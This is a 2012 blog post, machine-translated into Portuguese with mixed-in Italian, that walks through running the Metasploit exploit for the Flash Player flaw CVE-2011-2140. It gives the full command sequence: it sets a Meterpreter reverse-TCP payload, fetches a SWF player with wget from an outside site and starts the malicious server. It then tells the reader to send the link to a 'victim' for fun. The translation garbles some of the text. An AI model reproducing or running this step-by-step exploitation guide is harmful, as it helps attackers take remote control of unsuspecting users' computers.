[CVE-2011-2140 && Metasploit]

Módulo de novo adicionado à metasploit :D que explora bugs em um maior Flash Player.

Vulnerabilidade indicado pela CVE-2011-2140, Aqui estão os detalhes:

Adobe Flash Player antes 10.3.183.5 no Windows, Mac OS X, Linux, e Solaris e antes 10.3.186.3 on Android, e Adobe AIR antes 2.7.1 no Windows e Mac OS X e antes 2.7.1.1961 on Androno Androide que invasores executem código arbitrário ou causar uma negação de serviço (corrupção de memória) através de vetores não especificados, uma vulnerabilidade diferente do CVE-2011-2135, CVE-2011-2417, e CVE-2011-2425.

Adobe Flash Player MP4 estouro de buffer SequenceParameterSetNALUnit

Vamos ver como usar o Metasploit :D

A primeira coisa a fazer é atualizar Metasploit:
sudo msfupdate

Agora vamos começar Metasploit:
sudo msfconsole

Usiamo l'exploit:
use exploit/windows/browser/adobe_flash_sps

Os comandos são sempre aqueles :D
Vamos definir o payload:
set PAYLOAD windows/meterpreter/reverse_tcp
Configure o payload:
set LHOST MY_IP
Configuriamo l'exploit:
set URIPATH /

Agora vamos definir a SWF jogador, Eu tirei do poc abysssec:
wget http://www.clshack.it/nopaste/mediaplayer.swf
set SWF_PLAYER_URI mediaplayer.swf

Começamos o exploit:
msf exploit(adobe_flash_sps) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.190:4444
[*] Using URL: http://0.0.0.0:8080/J1YpA0
[*] Local IP: http://192.168.1.190:8080/J1YpA0
[*] Server started.
msf exploit(adobe_flash_sps) >

Divertir-se :D

Enviamos a nossa vítima em nosso ip:PORT , ÁRVORE e :D

Related posts:

1. [CVE-2010-1297]Metasploit:Flash Player 9x, 10.0 Excution remota de código
2. IE 6/7 EXPLORAR execução de código XML remoto com Metasploit
3. [CVE:2011-4862] Remoto Root FreeBSD
4. [CVE-2011-3544]Metasploit: Java não confiáveis ​​remoto Java Web Start
5. [CVE-2010-2568]Metasploit:janelas Exuction Código Oday remoto

Esta entrada foi postada na sexta-feira, 10 de fevereiro, 2012 em 9:39 am e está arquivada em GNU / Linux, Hacking, Software. Você pode acompanhar quaisquer respostas a esta entrada através do RSS 2.0 alimentar. Você pode deixar uma resposta, ou trackback a partir do seu próprio site.

Tagged com: atacar • cliente • metasploit • remoto